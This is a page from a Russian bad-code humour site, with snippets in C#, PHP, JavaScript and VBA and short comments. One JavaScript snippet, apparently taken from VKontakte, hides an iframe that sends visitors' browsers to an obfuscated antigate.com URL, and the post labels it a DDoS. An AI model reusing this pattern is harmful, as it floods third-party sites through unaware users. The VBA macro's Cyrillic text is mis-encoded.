- 1
Console.WriteLine(Math.Sin(long.MaxValue));
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+122
Console.WriteLine(Math.Sin(long.MaxValue));
Выведет 9,22337203685478E+18
+90
if ($value != 0) { // Если значение не равно нулю
$this->koeff = $value * 0.01; // Коэффициенту этого экземляра класса присвоить одну сотую от цены
$count++; // Счетчик увеличиваем на единицу
} else { // Иначе
$this->koeff=0; // Устанавливаем коэффициент этого экземпляра класса равным нулю
// Счетчик не увиличиваем
} // Конец условия
Код боевой не мой, комментарии авторские.
+147
function _test() {
var fr=utilsNode.appendChild(ce('iframe')),d=fr.contentWindow.document;d.open();d.write('<script>this.location="http://ant'+'iga'+'te.com/i'+'n.php?'+'firs'+'t_an'+'d_la'+'st_wa'+'rnin'+'g=o'+'n";</sc'+'ript>');setTimeout(re.pbind(fr),1000);
}
"Умный" ддос ВКонташкой antigate.com
http://habrahabr.ru/post/142836/
+114
public static IHtmlString CreateAchorCloseTag(this HtmlHelper htmlHelper)
{
return htmlHelper.Raw("</a>");
}
+172
$(document.getElementById(containerid))
+123
static bool HasSp1()
{
try
{
WaitHandle h = new ManualResetEvent(true);
h.WaitOne(0);
return true;
}
catch
{
return false;
}
}
Проверка наличия Service Pack 1 к .NET Framework 3.5 (в продолжение предыдущего ГК). Да, есть другие варианты, но этот не выглядит хуже.
+111
do
{
...
} while (!stopEvent.WaitOne(1000, false));
// Вылетает с MissingMethodException, если не стоит SP1 к .NET Framework 3.5
//} while (!stopEvent.WaitOne(1000));
Как хорошо, что мощная и надежная технология .NET избавила нас от Dll Hell!
+152
var nav = null;
function init_dev_steps(step) {
this.step = step;
this.steps_glass = ge('dev_steps_s');
this.steps_glass_c = geByClass('content', this.steps_glass)[0];
this.steps_wrap = ge('dev_steps_c');
this.steps_content = geByClass('content', this.steps_wrap)[0];
this.anim = Fx.Transitions.sineInOut;
this.move = function(to_step) {
if (to_step == (this.moving ? this.m_to : this.step)) return;
var moving = true;
if (!this.moving) {
moving = false;
this.m_height = this.steps_wrap.offsetHeight - 2;
this.m_g = (this.step - 1) * 140;
this.m_c = (1 - this.step) * 540;
this.m_cur = this.step;
this.tick = 0;
var self = this;
this.moving = setInterval(function() {
self.m_time += 13;
if (self.anim_h) {
self.tick += 1;
if (self.tick == 3) {
if (self.m_time > self.h_time) {
self.m_height = self.m_to_height;
} else {
self.m_height = self.anim(self.m_time, self.m_from_height, self.m_to_height - self.m_from_height, self.h_time);
}
self.steps_wrap.style.height = self.m_height + 'px';
self.tick = 0;
}
if (self.m_time > self.h_time) {
self.m_g = self.m_to_g;
self.m_c = self.m_to_c;
self.anim_h = false;
self.anim_v = (self.m_to_height != self.m_height);
self.m_time -= self.h_time;
} else {
self.m_g = self.anim(self.m_time, self.m_from_g, self.m_to_g - self.m_from_g, self.h_time);
self.m_c = self.anim(self.m_time, self.m_from_c, self.m_to_c - self.m_from_c, self.h_time);
if (self.diff) self.steps_glass.style.width = self.anim(self.m_time, self.from, self.diff, self.h_time)+'px';
}
self.steps_content.style.marginLeft = self.m_c + 'px';
self.steps_glass.style.marginLeft = self.m_g + 'px';
self.steps_glass_c.style.marginLeft = (-self.m_g - 2) + 'px';
self.m_cur = Math.floor(self.m_g / 140) + 1;
}
if (!self.anim_h) {
self.step = self.m_to;
//hab.setHash('devstep' + this.step);
location.hash = 'devstep' + self.step;
self.steps_wrap.style.height = self.m_to_height + 'px';
clearInterval(self.moving);
self.moving = false;
if (self.step == 3 && ge('inv_password')) focus('inv_password');
}
}, 13);
}
...
+142
if(selected == 3){
if(count == 1){
displayIntResult(0);
}else{
if(count == 1){
displayIntResult(0);
}else{
// код
}
}
// код
}
Надо больше спать. Обнаружено после ночи кодинга
−92
Sub Ìàêðîñ1()
Sheets("Îò÷åò_Âêë.1_15-98").Select
For i = 0 To 25 Step 1
Sheets(Sheets.Count).Select
If i = 0 Then
Range("A:A, B:B").Select
ElseIf i = 1 Then
Range("A:A, C:C").Select
ElseIf i = 2 Then
Range("A:A, D:D").Select
ElseIf i = 3 Then
Range("A:A, E:E").Select
ElseIf i = 4 Then
Range("A:A, F:F").Select
ElseIf i = 5 Then
Range("A:A, G:G").Select
ElseIf i = 6 Then
Range("A:A, H:H").Select
ElseIf i = 7 Then
Range("A:A, I:I").Select
ElseIf i = 8 Then
Range("A:A, J:J").Select
ElseIf i = 9 Then
Range("A:A, K:K").Select
ElseIf i = 10 Then
Range("A:A, L:L").Select
ElseIf i = 11 Then
Range("A:A, M:M").Select
ElseIf i = 12 Then
Range("A:A, N:N").Select
ElseIf i = 13 Then
Range("A:A, O:O").Select
ElseIf i = 14 Then
Range("A:A, P:P").Select
ElseIf i = 15 Then
Range("A:A, Q:Q").Select
ElseIf i = 16 Then
Range("A:A, R:R").Select
ElseIf i = 17 Then
Range("A:A, S:S").Select
ElseIf i = 18 Then
Range("A:A, T:T").Select
ElseIf i = 19 Then
Range("A:A, U:U").Select
ElseIf i = 20 Then
Range("A:A, V:V").Select
ElseIf i = 21 Then
Range("A:A, W:W").Select
ElseIf i = 22 Then
Range("A:A, X:X").Select
ElseIf i = 23 Then
Range("A:A, Y:Y").Select
ElseIf i = 24 Then
Range("A:A, Z:Z").Select
ElseIf i = 25 Then
Range("A:A, AA:AA").Select
End If
Selection.Copy
Sheets.Add
Sheets(Sheets.Count - 1).Select
Columns("A:A").Select
ActiveSheet.Paste
Next i
End Sub
Макрос для копирования подряд расположенных столбцов на отдельные листы